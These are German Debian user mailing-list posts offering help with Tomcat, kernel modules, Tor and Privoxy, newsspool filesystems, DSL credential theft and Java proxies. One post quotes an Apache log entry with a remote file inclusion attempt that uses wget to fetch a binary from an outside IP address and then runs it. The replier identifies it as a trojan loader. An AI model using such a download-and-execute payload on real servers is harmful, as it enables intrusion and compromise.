[100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: tomcat startup problem
Hi Oliver, Oliver Block [EMAIL PROTECTED] wrote: * Using CATALINA_BASE: /var/lib/tomcat4 Using CATALINA_HOME: /usr/share/tomcat4 Using CATALINA_TMPDIR: /var/lib/tomcat4/temp Using JAVA_HOME: /usr/lib/kaffe Using Security Manager Internal error: caught an unexpected exception. Please check your CLASSPATH and your installation. java/lang/ExceptionInInitializerError at java.lang.ClassLoader.getSystemClassLoader(ClassLoader.java:772) * [Hat irgend jemand von Euch dieses Problem in letzter Zeit gelöst? Konstruktive Hinweise sind willkommen!] Stell folgendes in der Datei /etc/defaults/tomcat4 ein: TOMCAT4_SECURITY=no siehe Bug: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=316580 Gruß Frank -- If it ain't broken, don't fix it!
Re: uue664 encoding...
Hi Michelle, Michelle Konzack [EMAIL PROTECTED] wrote: ich suche ein Tool mit dem man (STDIN/STDOUT) uue664 Dateien produzieren kann. Das Tool was ich unter Woody verwendete ist aus Debian rausgeflogen. Welches war das? Lassen sich die Sourcen von Woody evtl. unter Sarge kompilieren. yencode produziert leider nicht das, was ich will, denn das was da rauskommt hat nicht-druckbare Zeichen. Schau Dir mal das Paket sharutils an. Da sind ein uuencode/uudecode drin. Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: hello
Hi Bjoern, Bjoern Schliessmann [EMAIL PROTECTED] wrote: Joerg Zimmermann wrote: Ganz meiner Meinung. Bist du bei AOL? ;) Dann hätte er mee too geschrieben. ;-) Frank PS: Aber nun nicht weiter drauf rumhacken. -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: IrDA und ThinkPad R51
Hi Sebastian, Sebastian Niehaus [EMAIL PROTECTED] wrote: ich bekomme es nicht hin, eine IrDA-Verbindung zwischen Handy und Laptop aufzubauen. Beim Handy (Siemens M65) ist IrDA eingschaltet und funktioniert grundsätzlich. Ob ich wirklich einen Tipp liefern kann weiß ich nicht. Hab hier auch das Problem. Wenn ich den Treiber für den normalen seriellen Port mit rmmod entferne dann klappt es. Ist für mich akzeptabel, da ich selten was serielles verwende. Frank -- Pls wrt in prpr englsh so we cn undrstnd wht ur tlkng abt.
Re: eigener Kernel mit Fehlern
Hi Peter, Peter Jordan [EMAIL PROTECTED] wrote: ich habe mir einen Kernel gebacken (2.6.17.6). [...] modprobe:FATAL: Could not load /lib/modules/2.6.17.6/modules.dep: No such file or directory = Die Datei existiert. Hat hierzu vielleicht noch jemand ne Idee? Datei möglicherweise beschädigt? - dann mit root Rechten ausführen depmod -a -q Wie sehen denn die Zugriffsrechte aus? ls -ld /lib /lib/modules /lib/modules/2.6.17.6 ls -l /lib/modules/2.6.17.6/modules.dep Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: eigener Kernel mit Fehlern
Hi Peter, Peter Jordan [EMAIL PROTECTED] wrote: Frank Dietrich wrote: Peter Jordan [EMAIL PROTECTED] wrote: modprobe:FATAL: Could not load /lib/modules/2.6.17.6/modules.dep: No such file or directory = Die Datei existiert. Hat hierzu vielleicht noch jemand ne Idee? Datei müsste demnach ok sein und die Rechte passen auch. Also scheint sie beim Bootvorgang nicht da zu sein. Mir würden da als mögliche Kandidaten eine initrd oder ein zu spät eingehängtes Filesystem einfallen. Wird die Datei beim booten denn neu erstellt? Wenn nicht mal ins boot-Skript modutils schauen und versuchen herauszufinden warum sie nicht davon erstellt wird. Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: eigener Kernel mit Fehlern
Hi Peter, Peter Jordan [EMAIL PROTECTED] wrote: Frank Dietrich wrote: [/lib/modules/2.6.12/modules.dep] Also scheint sie beim Bootvorgang nicht da zu sein. Mir würden da als mögliche Kandidaten eine initrd oder ein zu spät eingehängtes Filesystem einfallen. Was heißt das genau? Mit der initrd, hatte ich bis jetzt noch nicht so viel am Hut Wenn Dein Kernel eine initrd benutzt, dann muss die Datei glaub ich auch da mit rein. Bin mir aber nicht 100%ig sicher, da ich schon ewig keine initrd mehr auf meinem Rechner benutzt habe. und ich glaube das root system wird später eingehängt. Es eigentlich mehr um /lib/modules/ Wenn dieser Zweig auf einer anderen Partition als / liegt und erst nachdem modutils Script eingehängt wird, dann ist das in dem Fall zu spät. Hier würde es helfen entweder die Reihenfolge von mountall und modutils zu verändern. Oder aber den Treiber für dieses Filesystem in den Kernel zu kompilieren, wenn es nur als Modul vorliegt. Frank -- No one ever says, I can't read that ASCII Email you sent me.
Re: Ctrl-a = Absturz
Hi Klaus, Klaus Becker [EMAIL PROTECTED] wrote: Am Sonntag 06 August 2006 11:58 schrieb Adalbert Dawid: Am Sun, 06 Aug 2006 09:05:00 +0200 schrieb Klaus Becker: Ich benutze Sarge und KDE 3.3.2. Wenn ich in einem KDE-Programm per Ctrl-a alles selektieren will, stürzt das Programm regelmäßig ab, z. B. konqueror oder kedit. Woran mag das liegen? Hab kein KDE. Aber wenn es abstürzt, dann sollte auf der Konsole was zu lesen sein. Starte mal eins der Programme aus einer Terminalsitzung und schau ob da irgendeine wegweisende Meldung auftaucht. Frank -- 21 is only half the truth
Re: USB-Hub power-control
Servus M..., (ist das Absicht das Du Deine(n) Vornamen nicht nennst?) M G Berberich [EMAIL PROTECTED] wrote: ichhabe hier eine USb-HUb der für jeden downstream-Port eine LED hat. Unter Windows leuchten diese LEDs nach dem Anstecken kurz auf und leuchten danach nur wenn au diesem Port auch ein Gerät steckt. Unter Linux leuchten die LEDs ständig. Ich hab hier ein kleines Script in Benutzung mit dem ich Partitionen auf USB Sticks aushänge. Ist es die letzte Partition, dann wird der Stick deaktiviert. Ob das auch mit einem USB-Hub funktioniert kann ich nicht sagen, hab hier keinen in Benutzung. Das Script hängt an der Mail. Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg ejectusb Description: Binary data
Re: libapt-pkg-libc6.3-5.so.3.11
Klaus Becker [EMAIL PROTECTED] wrote: Moin, in einem chroot hab' ich testing, das sich über das Fehlen des obigen Pakkets beschwert. Apt-get geht nicht mehr. Wo krieg' ich das her? Klaus Von hier?* http://ftp.de.debian.org/debian/pool/main/a/apt/apt_0.6.44.2_i386.deb Gruß Frank *) Vielleicht versteh ich auch Deine Frage nicht richtig. -- Ist das jetzt ein Klischee, daß überall auf der Welt erfolgreiche Nerd-Programmierer in ihrem stillen Kämmerchen sitzen und sich alles völlig allein aus irgendwelchen Handbüchern beibringen?
tor, privoxy und sarge
Hi, habe mir mal tor und privoxy installiert. Den Firefox laut [1] eingerichtet und trotzdem bekomme ich auf [2] die WAN IP meines Routers angezeigt. Laut der Tor FAQ sollte der Eintrag Tor has successfully opened a circuit. Looks like client functionality is working. in /var/log/tor/log auf einen funktionierende Installation hindeuten. Habe zur weiteren Suche in /etc/tor/torrc auch schon folgende Zeile aktiviert: Log debug file /var/log/tor/debug.log Das Log füllt sich beim browsen auch. Nur leider werd ich aus den vielen Einträgen nicht wirklich klüger. Jedenfalls deutet keiner auf einen Fehler hin. Im Log von Privoxy stehen halt alle angesurften Seiten drin. Ich denke mal irgendeine Einstellung hab ich falsch oder übersehen. Nutzt das von euch auch noch wer und kann mir einen Tipp geben? Danke Frank [1] http://wiki.noreply.org/noreply/TheOnionRouter/TorifyHOWTO [2] http://www.showmyip.com -- Ist das jetzt ein Klischee, daß überall auf der Welt erfolgreiche Nerd-Programmierer in ihrem stillen Kämmerchen sitzen und sich alles völlig allein aus irgendwelchen Handbüchern beibringen?
Re: tor, privoxy und sarge
HI, werd mir mal selbst antworten. ;-) Frank Dietrich [EMAIL PROTECTED] wrote: habe mir mal tor und privoxy installiert. Den Firefox laut [1] eingerichtet und trotzdem bekomme ich auf [2] die WAN IP meines Routers angezeigt. [...] Ich denke mal irgendeine Einstellung hab ich falsch oder übersehen. Nutzt das von euch auch noch wer und kann mir einen Tipp geben? In /etc/privoxy/config hat noch dieser Eintrag gefehlt. forward-socks4a / localhost:9050 . Vielleicht braucht ja mal jemand diese Info. Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: filesystem für /var/spool/news
Hi Robert, Robert Grimm [EMAIL PROTECTED] wrote: Frank Dietrich [EMAIL PROTECTED] wrote: Was hat es mit xpat auf sich? Eine Suche nach xfs xpat hat leider nichts ergeben wo ich hätte sagen können das passt irgendwie zusammen. XPAT ist ein nntp Kommando. Damit kannst Du Threads rekonstruieren. Deshalb auch fast nichts in Verbindung mit XFS. ;-) Aber Danke da kann ich ja bei Gelegenheit nochmal nach schauen. Ich bezweifle allerdings, daß in dem Fall das Dateisystem der Flaschenhals ist. Was könnte es sonst sein? Der Newsserver braucht hier sehr viel Prozessorzeit dafür, wartet aber kaum auf I/O. Das mit der CPU Auslastung kommt hin. Hier geht dann immer der CPU-Lüfter an. Allerdings ist bei ext2 die Plattenaktivität extrem verringert, gegenüber XFS. Ob das nun langsamer oder schneller geht kann ich noch nicht beantworten. Will das aber mal die nächsten Wochen überwachen. Mit xfs als Filesystem hörte sich ein texpire Lauf so an als würde im sync Modus geschrieben werden. Bei ext2 ist es eben nur verstärkte Plattenaktivität. Mit erfahrungen zu xfs (für Newsspools) kann ich leider nicht dienen. Mein ext2 mounte ich mit noatime. Das hab ich auch bei xfs gemacht. Werd nochmal nach schauen ob die Option evtl da nicht unterstützt wird. Das würde zumindest auch die deutlich unterschiedliche Plattenaktivität erklären. Danke, Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: filesystem für /var/spool/news
Hi Robert, Robert Grimm [EMAIL PROTECTED] wrote: Frank Dietrich [EMAIL PROTECTED] wrote: Ich hab jetzt mal auf ext2 umgestellt und natrülich im ersten Anlauf gleich ein Problem bekommen. Zu wenige Inodes. Mit der Option -T news wurden auch nicht ausreichend Inodes bereitgestellt. Wie groß ist denn der Newsspool? /var/spool/news liegt allein auf einer 1GB Partition und ist seit längerer Zeit mit rund 900MB belegt. Seit ich auf ext2 umgestellt hab. Belegen die gleichen Dateien, bei gleicher Blockgröße allerdings mehr als 950MB. Werd mich also erstmal damit befassen die Partition größer zu bekommen. So randvoll kann das nicht gut sein. [news:~]# df -i /dev/sdb3 FilesystemInodes IUsed IFree IUse% Mounted on /dev/sdb33564736 465003 3099733 14% /var Da sind schon noch Inodes für ein paar Millionen. ext2 hat mit -T news und -b 2048 240k Inodes erstellt. Das hat dann nicht gereicht. Zusätzlich mit -i 2048 hab ich nun 640k das sollte dann auch reichen. Werde bei ausreichender (und zusammenhängender) Freizeit da nochmal etwas experimentieren. Danke, Frank -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: Wieso zeigt Konqueror nicht immer Vorschau an?
Hi Dirk, Dirk Salva [EMAIL PROTECTED] wrote: wieso zeigt der Konqueror in Sarge mir nicht immer die Vorschaubilder von gespeicherten jpgs an? VermutungEr zeigt nur die Thumbnails der JPEG-Bilder selbst an. Und wenn die JPEG-Datei keins hat, eben nichts. Eventuell lässt sich dieses Verhalten konfigurieren./Vermutung Gruß Frank -- There's a life beyond the CPU.
Re: filesystem für /var/spool/news
Hi Robert, Robert Grimm [EMAIL PROTECTED] wrote: Frank Dietrich [EMAIL PROTECTED] wrote: ich hab hier schon seit ca. 1,5 Jahren leafnode installiert. Wenn texpire läuft, dann hört man das die Platte richtig Stress bekommt. Es läuft auch recht lang, 20min. Kann es am nicht optimalen Filesystem liegen? IIRC¹ ist xfs so _richtig_ lahm, wenn es um Newsspools geht. Das las sich in einigen Meldungen aber anders. Weiterführende eigene Tests hatte ich aber keine gemacht. Ich habe meinen Newsspool auf ext2, das hat sich (bei mir) als flotter als reiserfs herausgestellt, welches im Allgemeinen besonders für Newsspools empfohlen wird Ich hab jetzt mal auf ext2 umgestellt und natrülich im ersten Anlauf gleich ein Problem bekommen. Zu wenige Inodes. Mit der Option -T news wurden auch nicht ausreichend Inodes bereitgestellt. Folgende Einstellungen hab ich nun verwendet: - Blockgrösse 2048 Byte - Inodes alle 2048 Byte. Was hast Du denn eingestellt? Evtl. mit Begründung, falls es für eine Einstellungen einen besonderen Grund gibt. So anfänglich würd ich sagen hört sich die Platte bei texpire jedenfalls viel ruhiger an. Kann aber auch daran liegen das die News nach dem zurück spielen des Backups günstiger liegen. Gruß, Frank -- while (!asleep()) sheep++;
Re: filesystem für /var/spool/news
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 09.07.06 16:08:57, Robert Grimm wrote: Frank Dietrich [EMAIL PROTECTED] wrote: ich hab hier schon seit ca. 1,5 Jahren leafnode installiert. Wenn texpire läuft, dann hört man das die Platte richtig Stress bekommt. Es läuft auch recht lang, 20min. Kann es am nicht optimalen Filesystem liegen? IIRC¹ ist xfs so _richtig_ lahm, wenn es um Newsspools geht. Enthalten Newspools viele Dateien? Ja. Vor allem sind die im Durchschnitt hier nur 1500 Byte groß. Wenn ja ist XFS dafuer praedestiniert, vor allem wenn wahllos auf die Dateien zugegriffen wird. Das hört sich hier immer so an als würde die Platte kurz vorm auseinander fallen sein. Ich habe meinen Newsspool auf ext2, das hat sich (bei mir) als flotter als reiserfs herausgestellt, ext2 hat auch kein Journal ;-) Auf das würde ich persönlich auch verzichten können. Bleibt dann nur die Frage. Wie lang braucht fsck dann bei einem Test wenn da x00.000 Dateien drauf sind? Gruß Frank -- If code looks clumsy, it can usually be better written. Clean code is more easily maintainable and modifiable.
Re: filesystem für /var/spool/news
Hallo Robert, Robert Grimm [EMAIL PROTECTED] wrote: Die Baumstrukturen von xfs dürften hier massiv bremsen. Wenn allerdings oft große Threads per xpat rekonstruiert werden, dürften diese Dateisysteme im Vorteil sein. Was hat es mit xpat auf sich? Eine Suche nach xfs xpat hat leider nichts ergeben wo ich hätte sagen können das passt irgendwie zusammen. Ich bezweifle allerdings, daß in dem Fall das Dateisystem der Flaschenhals ist. Was könnte es sonst sein? Mit xfs als Filesystem hörte sich ein texpire Lauf so an als würde im sync Modus geschrieben werden. Bei ext2 ist es eben nur verstärkte Plattenaktivität. Deswegen auch meine Frage ob es vllt. einfach nur eine falsche Einstellung, falscher Parameter beim formatieren o.ä. sein kann. Gruß Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
filesystem für /var/spool/news
Hallo an euch, ich hab hier schon seit ca. 1,5 Jahren leafnode installiert. Wenn texpire läuft, dann hört man das die Platte richtig Stress bekommt. Es läuft auch recht lang, 20min. Kann es am nicht optimalen Filesystem liegen? Ich hatte mich seinerzeit für XFS entschieden weil es in diversen Empfehlungen als das geeignetste FS für den News Spool genannt wurde. Hier mal ein paar Daten wie es eingerichtet ist: meta-data=/var/spool/news isize=256agcount=8, agsize=61245 blks sectsz=512 data bsize=2048 blocks=489960, imaxpct=0 sunit=0 swidth=0 blks, unwritten=1 naming =version 2 bsize=4096 log =internal bsize=2048 blocks=1728, version=1 sectsz=512 sunit=0 blks realtime =none extsz=65536 blocks=0, rtextents=0 Meiner Meinung nach könnte ich doch auf das Journal auch verzichten. Sollte das dann nicht zu schnellerem und weniger hörbarem Zugriff führen? Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: [OT] DSL-Zugangsdaten geklaut was tun?
Hi Matthias, Matthias Haegele [EMAIL PROTECTED] wrote: Frank Dietrich schrieb: Ich würde mal drauf tippen das es am nicht deaktiverten Fernwartungsmodus (oder wie immer das die Marketingabteilung bei den Routern auch benannt hat) lag. Die ursprüngliche Konfiguration wurde mit dem Wizard gemacht, kein Fernwartungsmodus per ISDN o. ä. aktiviert. Hast Du nach der Konfiguration mal von außen (sprich übers Internet) geschaut welche Ports offen sind? Allerdings war das Kennwort schwach, vmtl. mittels JohntheRipper o. ä. in absehbarer Zeit geknackt. SIF war ist nicht aktiviert. In dem Fall eigentlich erstmal egal. Der erste Schritt wäre immer, an das Passwort herankommen. Full ACK. Man sollte in so einem Fall immer die Ursache und nicht nur die Wirkung bekämpfen. ;-) Das Problem ist das ich genau das nicht weiss, einige Vermutungen: 1. unwahrscheinlich: Ein (ehemaliger) Mitarbeiter ist an die (gut verwahrten) Kennwörter rangekommen und surft damit zuhause rum. (Vermutung seitens T-Com/T-Online). Zumindest theoretisch möglich. 2. mitsniffen beim Verbindungsaufbau da bei PAP ja im Klartext (username/pass) übertragen wird? Inwieweit das möglich ist, k. A. und vor allem *wo* dazu der Angreifer sitzen müsste. Eher unwahrscheinlich. Der Angreifer müsste dazu irgendwo den Verbindungsaufbau zwischen Router und ISP abfangen können. Möglich wäre das z.B. zwischen Router und Telefonbuchse oder zwischen Telefonbuchse und ISP. 3. a) Ausnutzen einer Lücke auf dem Router zum Auslesen des Kennwortes z.B. der Speichertabelle oder eines Dumps mittels TFTP auf einen Rechner des Angreifers. Wie es mit SSH aussieht muss ich mir in der gesicherten Konfig anschauen. Fehler in der Firmware, prinzipiell möglich. Einfach bei Bintec mal anfragen. TFTP aus Richtung Internet? Ich denk es war kein Zugang aus dieser Richtung möglich? 3 b) jemand fängt sich auf einer Windows-Kiste einen (unbekannten) speziell gestricken Trojaner o. ä. ein, der Angriff käme von innen, somit hätte der Angreifer natürlich alle Zeit der Welt um das Passwort auszuprobieren ... Eher unwahrscheinlich. Denn es bedingt das der Autor des Trojaners wissen muss wer solch einen Router einsetzt um dann noch gezielt den Trojaner dort hin zu bekommen. 4. Ursachenforschung, schwierig denke ich da: Router resettet nachdem kein Zugang mehr möglich war, War er vielleicht nur einfach abgestürzt und niemand hat die Zugangsdaten erspäht? Zukunft wird das Teil auf einen Syslog-Server im internen Netz loggen ... Dann richte es gleich so ein, das ein Zugriff auf den Router nur aus dem internen Netz möglich ist. Zuerst per ssh (mit Keys) auf einem Rechner im internen Netz anmelden und dann von dem aus auf den Router zugreifen. Frank -- Generated by Signify v1.14. For this and more, visit http://www.debian.org/
Re: [OT] DSL-Zugangsdaten geklaut was tun?
Hi Björn, Bjoern Schliessmann [EMAIL PROTECTED] wrote: Matthias Haegele wrote: Bei einem Kunden wurden die DSL-Zugangsdaten erschnüffelt. Darf man fragen wie? Ich würde mal drauf tippen das es am nicht deaktiverten Fernwartungsmodus (oder wie immer das die Marketingabteilung bei den Routern auch benannt hat) lag. Das ist nämlich auch ein Faktor, der beim weiteren Vorgehen berücksichtigt werden sollte. Full ACK. Man sollte in so einem Fall immer die Ursache und nicht nur die Wirkung bekämpfen. ;-) Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: block size des Filesystems ermitteln
Hi Klemens, Klemens Kittan [EMAIL PROTECTED] wrote: Wie geht das bei aber bei ext2/3, jfs? Geht das nur mit den jeweiligen Werkzeugen zum Filesystem? Mit tune2fs -l /dev/hdax kannst du dir die Information beschaffen. Also scheint es keinen allgemeinen Weg zu geben? Für meinen Fall (die Partition ist beschreibbar) kann ich mit folgendem arbeiten: echo dummy stat dummy -c %b*%B|bc rm dummy Wenn aber schreiben nicht möglich ist, kann ich wieder nur abhängig vom Filesystem das jeweilige Werkzeug verwenden. So haben beide Lösungen einen Schachpunkt. Frank -- Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
block size des Filesystems ermitteln
Hallo an euch, gibt es ein generelles Werkzeug um sich die Blockgröße mit der eine Filesystem erstellt wurde ausgeben zu lassen? Für xfs gibt das ja z.B. mit xfs_info mount_point Mit stat bekomme ich nur die Größe des Blocks der bei einer IO-Operation gelesen wird. stat mount_point -c %o Wie geht das bei aber bei ext2/3, jfs? Geht das nur mit den jeweiligen Werkzeugen zum Filesystem? Danke und Gruß Frank -- Your skill in reading was increased by 1 point.
Re: Proxy für Java einstellen
Hallo Tobias, Tobias Krais [EMAIL PROTECTED] wrote: JavaControlPanel-Allgemein-Netzwerkeinstellungen ich habe schon nach diesem ControlPanel gesucht, bin aber irgendwie zu blöd es zu finden. Wie komme ich da ran? Grüßle, Tobias Normal sollte es mit in dem Verzeichnis sein wo dieser Link auf das java binary hinzeigt. ls -l /etc/alternatives/java Frank --
Re: Fährt jemand libxine groesser 1.0 und noch XFree86?
Hallo Gerhard, Gerhard Brauer [EMAIL PROTECTED] wrote: Hat von euch jemand (z.B. Sarge) libxine 1.0 (z.B. von b-p-o) laufen _und_ hat noch den XServer von XFree86 statt Xorg? Hier läuft ein Sarge mit libxine1 1.0.1-1sarge2 xfree86-common 4.3.0.dfsg.1-14sarge1 und nvidia Treiber. Hier läuft Dein sample.avi ohne Strichcode oder andere Bildfehler. Frank -- echo '23dd4-+dn10-P18+d4+d14+PPP[]pq'|dc
Re: /dev/pilot ständig geändert
Hallo Christian, Christian Christmann [EMAIL PROTECTED] wrote: der symbolische Link, den ich manuell auf /dev/pilot - /dev/ttyUSB0 setze, Das könntest Du auch automatisch von udev erledigen lassen. wird nach jedem Aptitude-Upgrade und einem Rebooten des Rechners wieder auf - /dev/ttyS0 gesetzt. Nur nach einem Reboot oder wirklich auch bereits nach einem aptitude upgrade? Kann mir jemand sagen, wer für das Ändern des devices verantwortlich ist und wie ich das unterbinden kann. Mögliche Kandidaten wären udev, hotplug oder ähnliches. Lass doch mal in /etc ein grep die Dateien nach pilot durchsuchen. Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: Proxy für Java einstellen
Hi Tobias, Tobias Krais [EMAIL PROTECTED] wrote: ich sitze hier hinter einem Proxy Server. Diesen habe ich im KDE und im Firefox eingetragen. Wenn ich jetzt ein Java Applet habe (z.B. so ein digifoto-shop), dann sagt mir mein Java Applet, dass es keine Verbindung hinbekommt. Wie kann ich für Java einen Proxyserver eintragen? Ich habe das Sun Java 1.5 aus Sid non-free im Einsatz. Kommt drauf an, was genau das Applet moniert. Im Normalfall sollte es reichen den Proxy über das ControlPanel einzustellen. Es könnte aber auch sein, das es an einer nicht funktionierenden Namensauflösung liegt. Bekommst Du denn bei 'host www.server.tld' die IP des Server von dem das Applet kommt zurück? Wenn nicht dann müsstest Du den Server in die /etc/hosts eintragen (Berechtigung dafür vorausgesetzt). Was kommt denn genau für eine Meldung? Am besten dafür auch noch in der jconsole nachsehen. Frank -- No one ever says, I can't read that ASCII Email you sent me.
Re: Google earth unter Debian?
Hi Andreas, Andreas Kunkel [EMAIL PROTECTED] wrote: Hab nach langen Friemeln den Nvidia-Treiber unter Sarge zum laufen bekommen. Hier Sarge ohne Backports. Einzige Ausnahme selbst gebauter Kernel 2.6.12 und udev 0.70. nvidia Treiber - NVIDIA-Linux-x86-1.0-8762-pkg1.run xfree86 - 4.3.0.dfsg.1-14sarge Grafikkarte - :01:00.0 0300: 10de:0112 (rev b2) :01:00.0 VGA compatible controller: nVidia Corporation NV11 \ [GeForce2 Go] (rev b2) Keine Problem mit dem nvidia Treiber. Hab jetzt aber häßliche Fonts und bei Google-Earth klößchen ohne Treiber sah das besser aus. (War aber nicht wirklich gut zu gebrauchen mangels Geschwindigkeit) Fonts nach einem Tipp hier auf der Liste auf 12 Punkt eingestellt. Werden ordentlich dargestellt und hab auch keine Klötzchen. Läuft sehr flüssig. Auch beim Zoom. Hat jemand das gleiche Problem und vielleicht Lösungsvorschläge? Lösung nicht. Vielleicht liegt es am xorg? Frank -- Generated by Signify v1.14. For this and more, visit http://www.debian.org/
Re: [SOLVED] Re: $TMPDIR funktioniert unter x-window/fvwm nicht mehr
Hi Andreas, Andreas Pakulat [EMAIL PROTECTED] wrote: On 11.06.06 18:45:27, Frank Dietrich wrote: [EMAIL PROTECTED]:~/ apt-cache show dash Package: dash Priority: optional Wenn es _immer_ installiert werden würde, dann sollte es nicht als optional aufgeführt werden. ;-) Immer wenn du initrd-tools installierst, denn da stehts als Depends drin. Was bei einer Standardinstallation von CD mit Debian's kernel-image-2.6.8... der Fall sein duerfte. Das würde natürlich erklären wie es bei Michelle auf die Rechner gekommen ist. Hab leider grad keinen Rechner in Reichweite der direkt von CD installiert wurde. Außerdem könnt ich nicht mehr sagen mit welchem Kernel der installiert wurde und welcher nachträglich drauf gekommen ist. Und ich vermute mal einfach dass, wenn die dash vor der bash installiert wird diese den Symlink umbiegt (ich mag grad nicht die dash installieren um das postinst Skript lesen). Musst Du wegen mir auch nicht machen. Da für mich das Rätsel nun geklärt ist. ;-) Frank -- A: Because it breaks the logical sequence of discussion Q: Why is top posting bad?
Re: [SOLVED] Re: $TMPDIR funktioniert unter x-window/fvwm nicht mehr
Hi Michelle, Michelle Konzack [EMAIL PROTECTED] wrote: Am 2006-05-30 23:10:34, schrieb Frank Dietrich: So ganz kann ich das nicht glauben. Bei mir ein Sarge-System. Eigenartig, denn bei Sarge wird DASH immer installiert... auch bei einem Woody-Sarge distupgrade. Ich will mich ja nicht streiten, aber [EMAIL PROTECTED]:~/ apt-cache show dash Package: dash Priority: optional Section: shells ... Wenn es _immer_ installiert werden würde, dann sollte es nicht als optional aufgeführt werden. ;-) Frank --
Re: Netzkarte wird nicht erkannt
Hallo Bernd, Bernd Eggink [EMAIL PROTECTED] wrote: nachdem ich vor einiger Zeit von SuSE auf Debian umgestiegen bin, habe ich mal versucht, Debian auf einem ziemlich alten Laptop mit einer PCMCIA-Netzkarte (KTI-PE 52) und einer WLAN-Karte (Dlink DWL-610) zu installieren. Leider wird keine der Karten erkannt, weder mit der neuesten Netz-Installations-CD noch mit 3.1r2. 1. Wird denn der PCMCIA Slot erkannt? 2. Welchen Kernel verwendest Du? Das ist etwas enttäuschend,denn Knoppix kriegt wenigstens die KTI-Karte in Gang, 1. Welchen Kernel verwendet Knoppix? und SuSE 10.1 sogar auf Anhieb beide! 1. Welchen Kernel verwendet Suse? Kennt jemand einen Trick, wie man mindestens eine der Karten doch zum Laufen zu bringen? Du könntest in die Kernelkonfig von Suse schauen um herauszufinden welche Unterstützung dort für: - den PCMCIA Slot - Netzwerkkarten aktiviert ist. Alternativ könntest Du die Konfig verwenden und Dir einen Debiankernel bauen. Frank -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: lnikon
Hi Klaus, Klaus Wieland [EMAIL PROTECTED] wrote: in den Kontext passt, dass in meinem Apache Log solche Einträge zu finden sind: 66.229.32.56 - - [08/Jun/2006:12:33:18 +0200] GET /index2.php?option=com_contentdo_pdf=1id=1index2. php?_REQUEST[option]=com_content_REQUEST[Itemid]=1GLOBALS=mosConfig_absolute_path=http://72.18.195. 161/cmd.gif?cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon;echo%20YYY;echo| HTTP/1.1 404 285 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) - Das sieht nicht freundlich aus ... Ist es auch nicht. Das würde (entsprechende Lücke vorausgesetzt) Trojan.Tsunami.B und Worm.Linux.Mare.D nachladen. Frank -- 21 is only half the truth
Re: /var/lib/dpkg/status kann nicht geparst werden, warum nicht?
Moin Sascha, Sascha Wüstemann [EMAIL PROTECTED] wrote: aptitude oder apt-get update brechen bei einem Rechner neuedings mit folgendem Fehler ab: Reading package lists... Error! E: Unable to parse package file /var/lib/dpkg/status (1) : The package lists or status file could not be parsed or opened. Auch wenn kein Hinweis auf mmap oder MergeList erscheint, hast Du mal einen größeren Wert für APT::Cache-Limit probiert? Kommt die Meldung auch, wenn Du mal einige Einträge in der sources.list auskommentierst? Frank -- Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Re: auf der Suche nach einer Java-Applikation
